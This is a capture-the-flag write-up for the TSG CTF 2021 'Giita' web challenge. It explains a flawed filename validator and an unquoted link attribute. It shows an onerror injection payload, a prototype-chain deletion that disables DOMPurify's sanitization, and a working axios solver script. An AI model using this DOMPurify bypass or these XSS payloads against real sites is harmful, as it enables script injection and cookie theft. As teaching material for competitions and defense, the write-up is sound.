# TSG CTF 2021 Giita Writeup

## Challenge Summary

![](https://i.imgur.com/iAak14c.png)

You can create blog post. It is accepting an arbitrary HTML, but it is
correctly escaped and sanitized by DOMPurify.

```javascript=  
const body = document.getElementById('body');  
body.innerHTML = DOMPurify.sanitize(body.textContent);

hljs.highlightAll();  
```

The goal is to obtain the cookie of admin.

## Solution

There are two bugs in this app.

### theme validation

The theme parameter is validated by `validateFilename` function. It seems to
be filtering all characters except whitespaces or alphanumeric characters, but
a dumb logical error exists and it accepts one invalid character in the
argument.

```javascript=  
private validateFilename(input: string) {  
let isInvalid = false;  
for (const char of Array.from(input)) {  
if (!char.match(/[\w\s.]/)) {  
if (isInvalid) {  
return false;  
}  
isInvalid = true;  
}  
}  
return true;  
}

public async POST() {  
const theme = this.getParam('theme');  
// omitted

if (!theme || !title || !body || !this.validateFilename(theme)) {  
this.response.status_code = 400;  
this.response.body = 'Bad Request';  
return this.response;  
}  
// omitted  
}  
```

### theme parameter Mis-quoting

The `theme` parameter goes to HTML template and injected into stylesheet link.

There should be quotation around it, but it is missing.

```htmlembedded=  
<% if (it.theme) { %>  
<link rel="stylesheet" href=<%= it.theme %>>  
<% } %>  
```

### Attack

With these restrictions, you can inject an arbitrary attribute into link
element, but only once. Like this:

```htmlembedded=

<link rel="stylesheet" href=x onerror=alert>  
```

So, what we should do here is to write JavaScript code with only alphanumeric
characters... But it is really helpless. We have to cheat DOMPurify.

Find that [DOMPurify skips
purification](https://github.com/cure53/DOMPurify/blob/main/src/purify.js#L1193-L1208)
when it is in unsupported environment (why?).

DOMPurify checks whether it is supported environment by
`DOMPurify.isSupported` property. It is detected by [checking several
properties in
DOM](https://github.com/cure53/DOMPurify/blob/main/src/purify.js#L156-L160).
By taking a look at it, you can abuse it by turning
`implementation.createHTMLDocument = undefined`.

You can use prototype pollution to access this inner property. The final
payload script will be like the following.

```javascript=  
delete document.implementation.__proto__.createHTMLDocument  
```

Finally, U+00A0 (NBSP) is not included in [HTML
whitespace](https://infra.spec.whatwg.org/#ascii-whitespace), but included in
[JavaScript whitespace](https://developer.mozilla.org/en-
US/docs/Web/JavaScript/Reference/Lexical_grammar#white_space). So the final
solver will be like this.

```javascript=  
axios({  
method: 'post',  
url: `http://${host}:${port}/`,  
headers: {  
'content-type': 'application/x-www-form-urlencoded',  
},  
data: qs.encode({  
theme: 'x
onerror=delete\xA0document.implementation.__proto__.createHTMLDocument ',  
title: 'x',  
body: `![](x)`,  
}),  
});  
```

Original writeup (https://hackmd.io/@hakatashi/HkgG02U4t).